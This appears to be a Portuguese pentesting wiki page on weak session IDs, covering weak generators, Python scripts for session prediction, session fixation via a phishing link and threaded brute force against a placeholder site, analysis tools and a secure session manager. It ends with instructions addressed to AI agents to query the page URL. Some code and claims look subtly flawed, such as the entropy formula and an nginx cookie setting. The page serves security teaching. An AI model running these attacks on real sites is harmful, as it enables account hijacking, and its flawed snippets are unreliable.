# Weak Session IDs

***

## 🔍 **Fundamentos de Sessões**

### **O que é Session ID?**

O **Session ID** é um identificador único utilizado para manter o estado entre requisições HTTP, que é um protocolo *stateless*. Quando um usuário se autentica, o servidor gera um ID de sessão que é enviado ao cliente e enviado de volta em requisições subsequentes para identificar o usuário autenticado.

### **Características de um Session ID Seguro**

```python
#!/usr/bin/env python3
# session_id_analysis.py

import secrets
import hashlib
import time
import random
import string

class SessionIDAnalyzer:
    """
    Analisador de características de Session IDs
    """
    
    # Características de um Session ID seguro
    SECURE_FEATURES = {
        'length': 128,           # Mínimo 128 bits
        'entropy': 'high',       # Alta entropia
        'randomness': True,      # Imprevisível
        'encoding': 'hex',       # Hex ou Base64
        'expiration': True,      # Tem expiração
        'binding': True          # Vinculado ao cliente
    }
    
    @staticmethod
    def calculate_entropy(session_id):
        """Calcular entropia do session ID"""
        # Contar caracteres únicos
        unique_chars = len(set(session_id))
        length = len(session_id)
        
        # Entropia teórica: log2(unique_chars^length)
        entropy = length * (unique_chars.bit_length() - 1)
        return entropy
    
    @staticmethod
    def check_randomness(session_ids):
        """Verificar aleatoriedade de uma sequência de IDs"""
        # Teste simplificado de aleatoriedade
        if len(set(session_ids)) == len(session_ids):
            return True  # Todos únicos
        
        # Verificar padrões
        patterns = []
        for sid in session_ids:
            # Verificar sequências numéricas
            if sid.isdigit():
                patterns.append('numeric')
            # Verificar sequências hexadecimais
            elif all(c in '0123456789abcdef' for c in sid.lower()):
                patterns.append('hex')
            # Verificar base64
            elif all(c in string.ascii_letters + string.digits + '+/=' for c in sid):
                patterns.append('b64')
            else:
                patterns.append('unknown')
        
        # Se todos são do mesmo tipo, pode ser previsível
        return len(set(patterns)) > 1

# Demonstração
analyzer = SessionIDAnalyzer()

# Session IDs inseguros
weak_ids = [
    "123456789",
    "user123",
    "2024-01-15-10-30-45",
    "a1b2c3d4e5f6"
]

print("=== Análise de Session IDs Fracos ===")
for sid in weak_ids:
    entropy = analyzer.calculate_entropy(sid)
    print(f"\nID: {sid}")
    print(f"  Entropia: {entropy} bits")
    print(f"  Aleatório: {analyzer.check_randomness([sid])}")
```

### **Estrutura de um Session ID Seguro**

```yaml
Características Essenciais:
  
  Tamanho:
    - Mínimo 128 bits (32 caracteres hex)
    - Recomendado 256 bits (64 caracteres hex)
  
  Entropia:
    - Alta aleatoriedade
    - Uso de geradores criptograficamente seguros
    - Evitar previsibilidade
  
  Formato:
    - Hex: 64 caracteres (256 bits)
    - Base64: 43 caracteres (256 bits)
    - UUID v4: 36 caracteres (122 bits)
  
  Propriedades:
    - Único no espaço e tempo
    - Não previsível
    - Não vinculado a dados do usuário
    - Expiração definida
```

***

## 🔓 **Tipos de Session IDs Fracos**

### **Categoria 1: Sequenciais e Previsíveis**

```python
#!/usr/bin/env python3
# weak_sequential_ids.py

class SequentialSessionIDs:
    """
    Session IDs sequenciais - extremamente vulneráveis
    """
    
    def __init__(self):
        self.counter = 0
    
    def generate_sequential(self):
        """Gerar ID sequencial"""
        self.counter += 1
        return str(self.counter)
    
    def generate_timestamp(self):
        """Gerar ID baseado em timestamp"""
        return str(int(time.time()))
    
    def generate_date_based(self):
        """Gerar ID baseado em data"""
        return time.strftime("%Y%m%d%H%M%S")

class PredictablePatterns:
    """
    Session IDs com padrões previsíveis
    """
    
    @staticmethod
    def generate_user_based(username):
        """Baseado no usuário"""
        return hashlib.md5(username.encode()).hexdigest()
    
    @staticmethod
    def generate_ip_based(ip):
        """Baseado no IP"""
        return hashlib.sha256(ip.encode()).hexdigest()[:16]
    
    @staticmethod
    def generate_incremental_hash(counter):
        """Hash incremental - previsível"""
        return hashlib.md5(str(counter).encode()).hexdigest()
    
    @staticmethod
    def generate_weak_uuid():
        """UUID v1 (baseado em timestamp + MAC)"""
        import uuid
        return str(uuid.uuid1())  # Previsível temporalmente

# Demonstração
seq = SequentialSessionIDs()

print("=== Session IDs Sequenciais ===")
for i in range(5):
    print(f"ID {i+1}: {seq.generate_sequential()}")

print("\n=== Session IDs Baseados em Timestamp ===")
for i in range(3):
    print(f"ID {i+1}: {seq.generate_timestamp()}")
    time.sleep(1)

print("\n=== Session IDs Baseados em Usuário ===")
users = ['admin', 'alice', 'bob']
for user in users:
    sid = PredictablePatterns.generate_user_based(user)
    print(f"{user}: {sid}")
```

### **Categoria 2: Entropia Baixa**

```python
#!/usr/bin/env python3
# low_entropy_ids.py

import math
import random
import string

class LowEntropyIDs:
    """
    Session IDs com baixa entropia
    """
    
    @staticmethod
    def calculate_entropy(session_id):
        """Calcular entropia real"""
        if not session_id:
            return 0
        
        # Contar frequência de cada caractere
        freq = {}
        for c in session_id:
            freq[c] = freq.get(c, 0) + 1
        
        # Entropia de Shannon
        entropy = 0
        length = len(session_id)
        for count in freq.values():
            p = count / length
            entropy -= p * math.log2(p)
        
        return entropy * length
    
    @staticmethod
    def generate_short_id(length=8):
        """ID curto - baixa entropia"""
        chars = string.ascii_letters + string.digits
        return ''.join(random.choice(chars) for _ in range(length))
    
    @staticmethod
    def generate_restricted_charset(length=16):
        """Charset restrito - apenas dígitos"""
        return ''.join(random.choice(string.digits) for _ in range(length))
    
    @staticmethod
    def generate_predictable_random(seed=None):
        """PRNG previsível"""
        if seed:
            random.seed(seed)
        return ''.join(random.choice(string.ascii_letters) for _ in range(32))

# Demonstração
entropy_calc = LowEntropyIDs()

ids_to_test = [
    "123456789",                          # Dígitos
    "abc123",                             # Curto
    "a1b2c3d4e5f6g7h8",                  # Hex curto
    "MTIzNDU2Nzg5MDEyMzQ1Njc4OTA=",      # Base64
    "admin_session_2024",                 # Palavra legível
    "7f3d2e1c8b4a6e9d5c2f8a3b1e7d4c6a"  # Hex 32
]

print("=== Entropia de Session IDs ===")
for sid in ids_to_test:
    entropy = entropy_calc.calculate_entropy(sid)
    print(f"\nID: {sid}")
    print(f"  Comprimento: {len(sid)} bytes")
    print(f"  Entropia real: {entropy:.2f} bits")
    print(f"  Entropia teórica máxima: {len(sid) * 6} bits")
```

### **Categoria 3: Codificação Fraca**

```python
#!/usr/bin/env python3
# weak_encoding_ids.py

import base64
import hashlib

class WeakEncoding:
    """
    Session IDs com codificação fraca
    """
    
    @staticmethod
    def base64_username(username):
        """Base64 sem sal"""
        return base64.b64encode(username.encode()).decode()
    
    @staticmethod
    def simple_hash(data):
        """Hash simples sem sal"""
        return hashlib.md5(data.encode()).hexdigest()[:16]
    
    @staticmethod
    def reversible_encoding(data):
        """Codificação reversível"""
        return data.encode().hex()
    
    @staticmethod
    def url_encode(data):
        """URL encoding previsível"""
        import urllib.parse
        return urllib.parse.quote(data)
    
    @staticmethod
    def custom_obfuscation(data):
        """Ofuscação personalizada fraca"""
        # Exemplo: rot13 + reverso
        import codecs
        rot13 = codecs.encode(data, 'rot13')
        return rot13[::-1]

# Demonstração
encoder = WeakEncoding()

test_data = "admin:2024-01-15:session"

print("=== Codificações Fracas ===")
print(f"Dados originais: {test_data}")
print(f"Base64: {encoder.base64_username('admin')}")
print(f"Hash MD5: {encoder.simple_hash(test_data)}")
print(f"Hex: {encoder.reversible_encoding(test_data)}")
print(f"URL Encode: {encoder.url_encode(test_data)}")
print(f"Rot13 Reverso: {encoder.custom_obfuscation(test_data)}")
```

***

## ⚔️ **Técnicas de Exploração**

### **Técnica 1: Predição de Session IDs**

```python
#!/usr/bin/env python3
# session_prediction.py

import requests
import time
import hashlib
import math

class SessionIDPredictor:
    """
    Predição de session IDs fracos
    """
    
    def __init__(self, target_url, login_endpoint):
        self.target = target_url
        self.login_url = login_endpoint
        self.samples = []
    
    def collect_samples(self, count=100):
        """Coletar amostras de session IDs"""
        print(f"📊 Coletando {count} amostras...")
        
        for i in range(count):
            # Realizar login e capturar session ID
            session = self.perform_login()
            self.samples.append(session)
            
            if i % 10 == 0:
                print(f"  Coletadas {i+1} amostras")
        
        return self.samples
    
    def perform_login(self):
        """Simular login e obter session ID"""
        # Na prática, realizar requisição real
        import random
        return self.generate_sample()
    
    def generate_sample(self):
        """Gerar sample para demonstração"""
        # Simulação - na prática coletar dados reais
        import random
        return f"SESSION_{int(time.time())}_{random.randint(1000, 9999)}"
    
    def analyze_patterns(self):
        """Analisar padrões nos IDs"""
        if not self.samples:
            return
        
        # Verificar sequência numérica
        numbers = []
        for sid in self.samples:
            num = ''.join(c for c in sid if c.isdigit())
            if num:
                numbers.append(int(num))
        
        if numbers:
            # Verificar se é sequencial
            increments = [numbers[i+1] - numbers[i] for i in range(len(numbers)-1)]
            if len(set(increments)) == 1:
                print("✅ Padrão SEQUENCIAL detectado!")
                return "sequential"
            
            # Verificar incremento médio
            avg_inc = sum(increments) / len(increments)
            if abs(avg_inc - 1) < 0.1:
                print("✅ Padrão INCREMENTAL detectado!")
                return "incremental"
        
        # Verificar timestamp
        timestamps = []
        for sid in self.samples:
            # Buscar padrões de timestamp
            import re
            ts_match = re.search(r'\d{10,13}', sid)
            if ts_match:
                timestamps.append(int(ts_match.group()))
        
        if timestamps:
            print("✅ Padrão TIMESTAMP detectado!")
            return "timestamp"
        
        print("⚠️ Nenhum padrão claro detectado")
        return "unknown"
    
    def predict_next_id(self):
        """Predizer próximo session ID"""
        pattern = self.analyze_patterns()
        
        if pattern == "sequential":
            last_num = self.extract_number(self.samples[-1])
            return f"SESSION_{last_num + 1}"
        
        elif pattern == "incremental":
            # Análise de incremento
            numbers = [self.extract_number(s) for s in self.samples]
            avg_inc = (numbers[-1] - numbers[0]) / len(numbers)
            next_num = int(numbers[-1] + avg_inc)
            return f"SESSION_{next_num}"
        
        elif pattern == "timestamp":
            # Predizer próximo timestamp
            last_ts = self.extract_timestamp(self.samples[-1])
            return f"SESSION_{last_ts + 1}"
        
        return None
    
    def extract_number(self, sid):
        """Extrair número do session ID"""
        import re
        nums = re.findall(r'\d+', sid)
        return int(nums[-1]) if nums else 0
    
    def extract_timestamp(self, sid):
        """Extrair timestamp do session ID"""
        import re
        ts_match = re.search(r'\d{10,13}', sid)
        return int(ts_match.group()) if ts_match else 0

# Demonstração
predictor = SessionIDPredictor("https://target.com", "/login")
predictor.collect_samples(20)
predictor.analyze_patterns()

next_id = predictor.predict_next_id()
if next_id:
    print(f"\n🔮 Próximo session ID previsto: {next_id}")
```

### **Técnica 2: Session Fixation**

```python
#!/usr/bin/env python3
# session_fixation.py

import requests
import hashlib

class SessionFixation:
    """
    Ataque de Session Fixation
    Força a vítima a usar um session ID conhecido pelo atacante
    """
    
    def __init__(self, target_url):
        self.target = target_url
        self.fixed_session = None
    
    def create_fixed_session(self):
        """Criar session ID fixo"""
        # Gerar ID previsível
        self.fixed_session = f"FIXED_{hashlib.md5(b'evil').hexdigest()[:16]}"
        return self.fixed_session
    
    def send_malicious_link(self, victim_email):
        """Enviar link malicioso com session fixo"""
        # Construir URL maliciosa
        malicious_url = f"{self.target}/login?session={self.fixed_session}"
        
        # Exemplo de payload
        payload = f"""
        <a href="{malicious_url}">Clique aqui para acessar sua conta</a>
        """
        
        print(f"📧 Link malicioso para {victim_email}:")
        print(f"   {malicious_url}")
        
        return payload
    
    def hijack_session(self, victim_cookie):
        """Sequestrar sessão após vítima autenticar"""
        # Na prática, usar o session ID fixo
        print(f"💉 Sessão sequestrada com ID: {self.fixed_session}")
        
        # Simular acesso com o session fixo
        headers = {'Cookie': f'sessionid={self.fixed_session}'}
        
        # Acessar área autenticada
        response = requests.get(
            f"{self.target}/profile",
            headers=headers
        )
        
        return response

# Demonstração
fixation = SessionFixation("https://target.com")

# Atacante cria session fixo
fixed_id = fixation.create_fixed_session()
print(f"🔑 Session ID fixo criado: {fixed_id}")

# Atacante envia link para vítima
fixation.send_malicious_link("victim@example.com")

print("\n⚠️ Após vítima autenticar, atacante pode acessar a sessão!")
```

### **Técnica 3: Session ID Brute Force**

```python
#!/usr/bin/env python3
# session_bruteforce.py

import requests
import threading
import queue
import time

class SessionBruteforce:
    """
    Força bruta de session IDs fracos
    """
    
    def __init__(self, target_url, auth_endpoint):
        self.target = target_url
        self.auth_endpoint = auth_endpoint
        self.q = queue.Queue()
        self.found = False
        self.valid_sessions = []
    
    def generate_candidates(self, pattern):
        """Gerar candidatos baseado em padrão"""
        candidates = []
        
        if pattern == "sequential":
            # Gerar IDs sequenciais
            for i in range(10000):
                candidates.append(str(i))
        
        elif pattern == "timestamp":
            # Gerar timestamps
            now = int(time.time())
            for i in range(-100, 100):
                candidates.append(str(now + i))
        
        elif pattern == "hex":
            # Gerar hexadecimais curtos
            import itertools
            chars = '0123456789abcdef'
            for length in range(8, 17):
                for combo in itertools.product(chars, repeat=length):
                    candidates.append(''.join(combo))
                    if len(candidates) > 100000:
                        return candidates
        
        return candidates
    
    def test_session(self, session_id):
        """Testar se session ID é válido"""
        try:
            cookies = {'sessionid': session_id}
            response = requests.get(
                f"{self.target}{self.auth_endpoint}",
                cookies=cookies,
                timeout=2
            )
            
            if response.status_code == 200:
                # Verificar se redirecionou para área autenticada
                if '/profile' in response.url or 'welcome' in response.text.lower():
                    self.valid_sessions.append(session_id)
                    print(f"✅ Sessão válida encontrada: {session_id}")
                    return True
                    
        except:
            pass
        
        return False
    
    def worker(self):
        """Thread worker para teste de sessões"""
        while not self.found:
            try:
                sid = self.q.get(timeout=1)
                if self.test_session(sid):
                    self.found = True
                self.q.task_done()
            except queue.Empty:
                break
    
    def attack(self, pattern, threads=10):
        """Executar ataque de força bruta"""
        print(f"🚀 Iniciando brute force - Padrão: {pattern}")
        
        candidates = self.generate_candidates(pattern)
        print(f"📊 Total de candidatos: {len(candidates)}")
        
        for cand in candidates:
            self.q.put(cand)
        
        # Criar threads
        thread_list = []
        for _ in range(threads):
            t = threading.Thread(target=self.worker)
            t.start()
            thread_list.append(t)
        
        # Aguardar conclusão
        for t in thread_list:
            t.join()
        
        print(f"\n🔍 Sessões válidas encontradas: {len(self.valid_sessions)}")
        return self.valid_sessions

# Demonstração
bruteforce = SessionBruteforce("https://target.com", "/profile")

# Tentar padrões comuns
for pattern in ["sequential", "timestamp"]:
    valid = bruteforce.attack(pattern)
    if valid:
        break
```

***

## 🛠️ **Ferramentas de Análise**

### **Ferramenta 1: Session ID Analyzer**

```python
#!/usr/bin/env python3
# session_id_analyzer.py

import hashlib
import re
import time
import math
from collections import Counter

class SessionIDAnalyzer:
    """
    Analisador avançado de session IDs
    """
    
    def __init__(self):
        self.results = {
            'length': 0,
            'entropy': 0,
            'patterns': [],
            'predictable': False,
            'risk': 'UNKNOWN'
        }
    
    def analyze(self, session_ids):
        """Analisar lista de session IDs"""
        if not session_ids:
            return self.results
        
        # Análise de comprimento
        lengths = [len(sid) for sid in session_ids]
        self.results['length'] = {
            'min': min(lengths),
            'max': max(lengths),
            'avg': sum(lengths) / len(lengths)
        }
        
        # Análise de charset
        chars = ''.join(session_ids)
        char_set = set(chars)
        self.results['charset'] = {
            'size': len(char_set),
            'types': self._classify_charset(char_set)
        }
        
        # Análise de entropia
        self.results['entropy'] = self._calculate_entropy(session_ids)
        
        # Análise de padrões
        self.results['patterns'] = self._detect_patterns(session_ids)
        
        # Avaliação de risco
        self.results['risk'] = self._assess_risk()
        
        return self.results
    
    def _classify_charset(self, char_set):
        """Classificar charset utilizado"""
        types = []
        if any(c.isdigit() for c in char_set):
            types.append('digits')
        if any(c.islower() for c in char_set):
            types.append('lowercase')
        if any(c.isupper() for c in char_set):
            types.append('uppercase')
        if any(c in '+/=' for c in char_set):
            types.append('base64')
        if any(c in '-_' for c in char_set):
            types.append('url_safe')
        
        return types
    
    def _calculate_entropy(self, session_ids):
        """Calcular entropia de Shannon"""
        all_chars = ''.join(session_ids)
        freq = Counter(all_chars)
        length = len(all_chars)
        
        entropy = 0
        for count in freq.values():
            p = count / length
            entropy -= p * math.log2(p)
        
        return entropy * length
    
    def _detect_patterns(self, session_ids):
        """Detectar padrões nos IDs"""
        patterns = []
        
        # Verificar sequência numérica
        numeric = [sid for sid in session_ids if sid.isdigit()]
        if numeric and len(numeric) > 1:
            nums = [int(n) for n in numeric]
            increments = [nums[i+1] - nums[i] for i in range(len(nums)-1)]
            if len(set(increments)) == 1:
                patterns.append('sequential_numbers')
        
        # Verificar timestamp
        ts_pattern = r'\d{10,13}'
        timestamps = [re.findall(ts_pattern, sid) for sid in session_ids]
        if any(timestamps):
            patterns.append('timestamp_embedded')
        
        # Verificar hash previsível
        for sid in session_ids:
            if re.match(r'^[a-f0-9]{32}$', sid):
                patterns.append('md5_hash')
            elif re.match(r'^[a-f0-9]{40}$', sid):
                patterns.append('sha1_hash')
            elif re.match(r'^[a-f0-9]{64}$', sid):
                patterns.append('sha256_hash')
        
        # Verificar base64
        import base64
        for sid in session_ids:
            try:
                decoded = base64.b64decode(sid + '==')
                if decoded:
                    patterns.append('base64_encoded')
                    break
            except:
                pass
        
        # Verificar UUID v1 (temporal)
        uuid_pattern = r'^[a-f0-9]{8}-[a-f0-9]{4}-1[a-f0-9]{3}-[a-f0-9]{4}-[a-f0-9]{12}$'
        if any(re.match(uuid_pattern, sid) for sid in session_ids):
            patterns.append('uuid_v1_temporal')
        
        return patterns
    
    def _assess_risk(self):
        """Avaliar nível de risco"""
        risk_score = 0
        
        # Comprimento
        if self.results['length']['avg'] < 32:
            risk_score += 2
        elif self.results['length']['avg'] < 64:
            risk_score += 1
        
        # Charset
        if self.results['charset']['size'] < 16:
            risk_score += 2
        elif self.results['charset']['size'] < 32:
            risk_score += 1
        
        # Entropia
        if self.results['entropy'] < 128:
            risk_score += 2
        elif self.results['entropy'] < 256:
            risk_score += 1
        
        # Padrões
        risk_score += len(self.results['patterns'])
        
        if risk_score >= 5:
            return 'CRITICAL'
        elif risk_score >= 3:
            return 'HIGH'
        elif risk_score >= 1:
            return 'MEDIUM'
        else:
            return 'LOW'

# Demonstração
analyzer = SessionIDAnalyzer()

# Amostras de IDs fracos
weak_samples = [
    "1", "2", "3", "4", "5",
    "admin_2024", "user123", "session_1",
    "a1b2c3", "123456789"
]

results = analyzer.analyze(weak_samples)

print("=== Análise de Session IDs ===")
print(f"Comprimento: {results['length']}")
print(f"Charset: {results['charset']}")
print(f"Entropia: {results['entropy']:.2f} bits")
print(f"Padrões: {results['patterns']}")
print(f"Risco: {results['risk']}")
```

### **Ferramenta 2: Session ID Extractor**

```python
#!/usr/bin/env python3
# session_extractor.py

import re
import requests
from bs4 import BeautifulSoup

class SessionExtractor:
    """
    Extrator de session IDs de respostas HTTP
    """
    
    def __init__(self):
        self.session_patterns = [
            r'session[_-]?id[=:]\s*([a-zA-Z0-9+\/]+={0,2})',
            r'SESS[_-]?ID[=:]\s*([a-zA-Z0-9+\/]+={0,2})',
            r'PHPSESSID[=:]\s*([a-zA-Z0-9]+)',
            r'JSESSIONID[=:]\s*([a-zA-Z0-9]+)',
            r'ASP\.NET_SessionId[=:]\s*([a-zA-Z0-9]+)',
            r'sid[=:]\s*([a-zA-Z0-9+\/]+={0,2})',
            r'token[=:]\s*([a-zA-Z0-9+\/]+={0,2})',
            r'auth[=:]\s*([a-zA-Z0-9+\/]+={0,2})'
        ]
        
        self.cookie_names = [
            'sessionid', 'session_id', 'sid', 'SESSID',
            'PHPSESSID', 'JSESSIONID', 'ASP.NET_SessionId',
            'token', 'auth_token', 'access_token'
        ]
    
    def extract_from_headers(self, headers):
        """Extrair session IDs de headers"""
        sessions = []
        
        # Verificar cookies
        if 'Set-Cookie' in headers:
            cookies = headers['Set-Cookie']
            for pattern in self.session_patterns:
                matches = re.findall(pattern, cookies, re.IGNORECASE)
                sessions.extend(matches)
        
        # Verificar Authorization
        if 'Authorization' in headers:
            auth = headers['Authorization']
            if auth.startswith('Bearer '):
                sessions.append(auth[7:])
        
        return sessions
    
    def extract_from_body(self, html):
        """Extrair session IDs do corpo da resposta"""
        sessions = []
        
        # Buscar em meta tags
        meta_pattern = r'<meta[^>]*name=["\'](?:csrf|session)["\'][^>]*content=["\']([^"\']+)["\']'
        matches = re.findall(meta_pattern, html, re.IGNORECASE)
        sessions.extend(matches)
        
        # Buscar em inputs ocultos
        input_pattern = r'<input[^>]*type=["\']hidden["\'][^>]*value=["\']([^"\']+)["\']'
        matches = re.findall(input_pattern, html, re.IGNORECASE)
        sessions.extend(matches)
        
        # Buscar em scripts
        script_pattern = r'["\'](?:session|token|sid)["\']\s*:\s*["\']([^"\']+)["\']'
        matches = re.findall(script_pattern, html, re.IGNORECASE)
        sessions.extend(matches)
        
        return sessions
    
    def extract_from_url(self, url):
        """Extrair session IDs de URL"""
        from urllib.parse import urlparse, parse_qs
        
        parsed = urlparse(url)
        params = parse_qs(parsed.query)
        
        sessions = []
        for name in self.cookie_names:
            if name in params:
                sessions.extend(params[name])
        
        # Buscar em path
        for pattern in self.session_patterns:
            matches = re.findall(pattern, parsed.path, re.IGNORECASE)
            sessions.extend(matches)
        
        return sessions
    
    def scan_url(self, target_url):
        """Escaneamento completo de URL"""
        try:
            response = requests.get(target_url)
            
            results = {
                'url': target_url,
                'headers': self.extract_from_headers(response.headers),
                'body': self.extract_from_body(response.text),
                'url_params': self.extract_from_url(target_url),
                'cookies': self.extract_from_cookies(response.cookies)
            }
            
            return results
            
        except Exception as e:
            return {'error': str(e)}
    
    def extract_from_cookies(self, cookies):
        """Extrair de cookies"""
        sessions = []
        for name in self.cookie_names:
            if name in cookies:
                sessions.append(cookies[name])
        return sessions

# Demonstração
extractor = SessionExtractor()

# Simular resposta HTTP
headers = {
    'Set-Cookie': 'sessionid=abc123def456; HttpOnly; Secure',
    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9'
}

html = """
<input type="hidden" name="csrf_token" value="xyz789">
<script>var sessionToken = "token123456";</script>
<meta name="session-id" content="meta_session_123">
"""

url = "https://target.com/page?sessionid=url_param_123&token=abc"

sessions = extractor.extract_from_headers(headers)
print(f"Headers: {sessions}")

sessions = extractor.extract_from_body(html)
print(f"Body: {sessions}")

sessions = extractor.extract_from_url(url)
print(f"URL: {sessions}")
```

***

## 🛡️ **Mitigações e Defesas**

### **Implementação Segura de Session ID**

```python
#!/usr/bin/env python3
# secure_session_implementation.py

import secrets
import hashlib
import time
import hmac
import base64
from typing import Optional

class SecureSessionManager:
    """
    Implementação segura de gerenciamento de sessões
    """
    
    def __init__(self, secret_key=None):
        self.secret_key = secret_key or secrets.token_bytes(32)
        self.sessions = {}  # Em produção, usar Redis/DB
        self.blacklist = set()
    
    def generate_session_id(self, user_id: str, user_agent: str, ip: str) -> str:
        """
        Gerar session ID seguro
        Características:
        - 256 bits de entropia
        - Vinculado ao cliente (UA, IP)
        - Com assinatura HMAC
        - Com timestamp
        """
        # Gerar componente aleatório
        random_part = secrets.token_bytes(32)
        
        # Componentes de binding
        binding = f"{user_agent}|{ip}".encode()
        
        # Timestamp
        timestamp = int(time.time()).to_bytes(8, 'big')
        
        # Combinar componentes
        session_data = random_part + binding + timestamp
        
        # Assinar com HMAC
        signature = hmac.new(
            self.secret_key,
            session_data,
            hashlib.sha256
        ).digest()
        
        # Montar session ID
        session_id = base64.urlsafe_b64encode(
            session_data + signature
        ).decode().rstrip('=')
        
        # Armazenar metadados
        self.sessions[session_id] = {
            'user_id': user_id,
            'created': time.time(),
            'expires': time.time() + 3600,  # 1 hora
            'ip': ip,
            'user_agent': user_agent,
            'signature': signature
        }
        
        return session_id
    
    def validate_session(self, session_id: str, user_agent: str, ip: str) -> Optional[dict]:
        """Validar session ID"""
        try:
            # Decodificar
            data = base64.urlsafe_b64decode(session_id + '==')
            
            # Separar componentes
            random_part = data[:32]
            binding = data[32:32 + len(user_agent) + len(ip) + 1]
            timestamp = data[32 + len(binding):32 + len(binding) + 8]
            signature = data[32 + len(binding) + 8:]
            
            # Verificar assinatura
            session_data = data[:-32]
            expected = hmac.new(
                self.secret_key,
                session_data,
                hashlib.sha256
            ).digest()
            
            if not hmac.compare_digest(signature, expected):
                return None
            
            # Verificar binding
            expected_binding = f"{user_agent}|{ip}".encode()
            if not hmac.compare_digest(binding, expected_binding):
                return None
            
            # Verificar armazenamento
            if session_id not in self.sessions:
                return None
            
            session = self.sessions[session_id]
            
            # Verificar expiração
            if time.time() > session['expires']:
                del self.sessions[session_id]
                return None
            
            # Verificar blacklist
            if session_id in self.blacklist:
                return None
            
            return session
            
        except Exception:
            return None
    
    def rotate_session(self, session_id: str) -> str:
        """Rotacionar session ID (após login bem-sucedido)"""
        session = self.sessions.get(session_id)
        if not session:
            return None
        
        # Revogar antigo
        self.blacklist.add(session_id)
        
        # Gerar novo
        new_id = self.generate_session_id(
            session['user_id'],
            session['user_agent'],
            session['ip']
        )
        
        # Transferir dados
        new_session = session.copy()
        new_session['created'] = time.time()
        new_session['expires'] = time.time() + 3600
        self.sessions[new_id] = new_session
        
        return new_id
    
    def revoke_session(self, session_id: str):
        """Revogar sessão específica"""
        self.blacklist.add(session_id)
        if session_id in self.sessions:
            del self.sessions[session_id]
    
    def revoke_all_user_sessions(self, user_id: str):
        """Revogar todas sessões de um usuário"""
        to_revoke = [
            sid for sid, data in self.sessions.items()
            if data['user_id'] == user_id
        ]
        
        for sid in to_revoke:
            self.revoke_session(sid)

# Demonstração
manager = SecureSessionManager()

# Criar sessão segura
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
ip = "192.168.1.100"

session_id = manager.generate_session_id("user123", user_agent, ip)
print(f"🔐 Session ID seguro: {session_id[:50]}...")

# Validar sessão
valid = manager.validate_session(session_id, user_agent, ip)
print(f"✅ Sessão válida: {valid is not None}")

# Tentar com IP diferente
invalid = manager.validate_session(session_id, user_agent, "10.0.0.1")
print(f"❌ IP diferente: {invalid is None}")
```

### **Configurações de Servidor**

```bash
# Nginx - Configuração segura de cookies
server {
    listen 443 ssl;
    
    # Headers de segurança
    add_header Set-Cookie "Path=/; HttpOnly; Secure; SameSite=Strict" always;
    
    # Timeout de sessão
    keepalive_timeout 65;
    client_body_timeout 12;
    client_header_timeout 12;
    send_timeout 10;
}

# Apache - Configuração .htaccess
<IfModule mod_headers.c>
    Header always edit Set-Cookie (.*) "$1; HttpOnly; Secure; SameSite=Strict"
</IfModule>

# PHP - Configuração de sessão
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = "Strict"
session.use_strict_mode = 1
session.use_only_cookies = 1
session.gc_maxlifetime = 3600
session.cookie_lifetime = 3600
```

***

## 📋 **Checklist de Segurança**

### **Checklist de Implementação**

```yaml
Geração de Session ID:
  ✓ Usar fonte de aleatoriedade criptográfica (os.urandom, secrets)
  ✓ Mínimo 128 bits (32 caracteres hex)
  ✓ Evitar sequências previsíveis
  ✓ Não incluir dados do usuário
  ✓ Usar encoding seguro (hex, base64url)

Armazenamento:
  ✓ Cookies com flag HttpOnly
  ✓ Cookies com flag Secure (HTTPS)
  ✓ Cookies com SameSite=Strict ou Lax
  ✓ Não armazenar em localStorage
  ✓ Server-side storage (Redis, DB)

Gerenciamento:
  ✓ Expiração de sessão (timeout absoluto)
  ✓ Inatividade (idle timeout)
  ✓ Rotação após login (session fixation)
  ✓ Revogação em logout
  ✓ Invalidação por mudança de privilégio

Validação:
  ✓ Verificar em cada request
  ✓ Validar binding (IP, User-Agent)
  ✓ Verificar blacklist
  ✓ Rate limiting por sessão
```

### **Checklist de Teste**

```yaml
Testes de Segurança:
  - [ ] Verificar comprimento do session ID
  - [ ] Analisar entropia e aleatoriedade
  - [ ] Testar previsibilidade (sequências)
  - [ ] Verificar encoding e charset
  - [ ] Testar session fixation
  - [ ] Verificar expiração
  - [ ] Testar logout e revogação
  - [ ] Verificar binding (IP, UA)
  - [ ] Testar concorrência
  - [ ] Analisar logs de sessão
```

***

## 📊 **Casos Reais e Labs**

### **Caso 1: PHP Session ID Previsível (CVE-2015-0273)**

```php
<?php
// Código vulnerável
session_start();
$_SESSION['user'] = 'admin';

// O session ID padrão do PHP pode ser previsível
// em configurações específicas
?>
```

### **Caso 2: ASP.NET Session ID Fraco**

```csharp
// Código vulnerável
HttpCookie cookie = new HttpCookie("ASP.NET_SessionId");
cookie.Value = Session.SessionID;
cookie.HttpOnly = false;  // Permite acesso via JavaScript
cookie.Secure = false;     // Envia via HTTP
Response.Cookies.Add(cookie);
```

### **Labs Práticos**

```bash
# PortSwigger Web Security Academy
# - Session fixation
# - Weak session tokens
# - Predictable session tokens

# TryHackMe - Session Management
# HackTheBox - Session related machines

# Ferramentas de teste
# - Burp Suite Session Analyzer
# - ZAP Session Token Analysis
# - custom session fuzzer
```

***

## 🔐 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Session IDs fracos são uma vulnerabilidade crítica:
  ✅ Exploração relativamente simples
  ✅ Impacto de comprometimento total
  ✅ Prevalente em aplicações legadas

Defesas essenciais:
  ❌ Nunca usar IDs sequenciais
  ❌ Nunca usar dados do usuário
  ❌ Nunca usar timestamps puros
  ✓ Sempre usar CSPRNG
  ✓ Sempre usar binding e expiração
```

### **Boas Práticas Finais**

1. **Para Desenvolvedores**
   * Usar bibliotecas de sessão maduras
   * Configurar cookies com flags de segurança
   * Implementar rotação de sessão
   * Monitorar padrões de acesso
2. **Para Pentesters**
   * Coletar amostras suficientes (100+)
   * Analisar padrões estatísticos
   * Testar session fixation
   * Verificar binding de cliente
3. **Para Arquitetos**
   * Preferir tokens opacos
   * Implementar session storage server-side
   * Usar Redis/DB para sessões
   * Considerar JWT com expiração curta

**🔐 Lembre-se**: A força de uma sessão está na imprevisibilidade do seu identificador. Um session ID fraco anula todas as outras camadas de segurança.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/autenticacao/weak-session-ids.md?ask=<question>
```

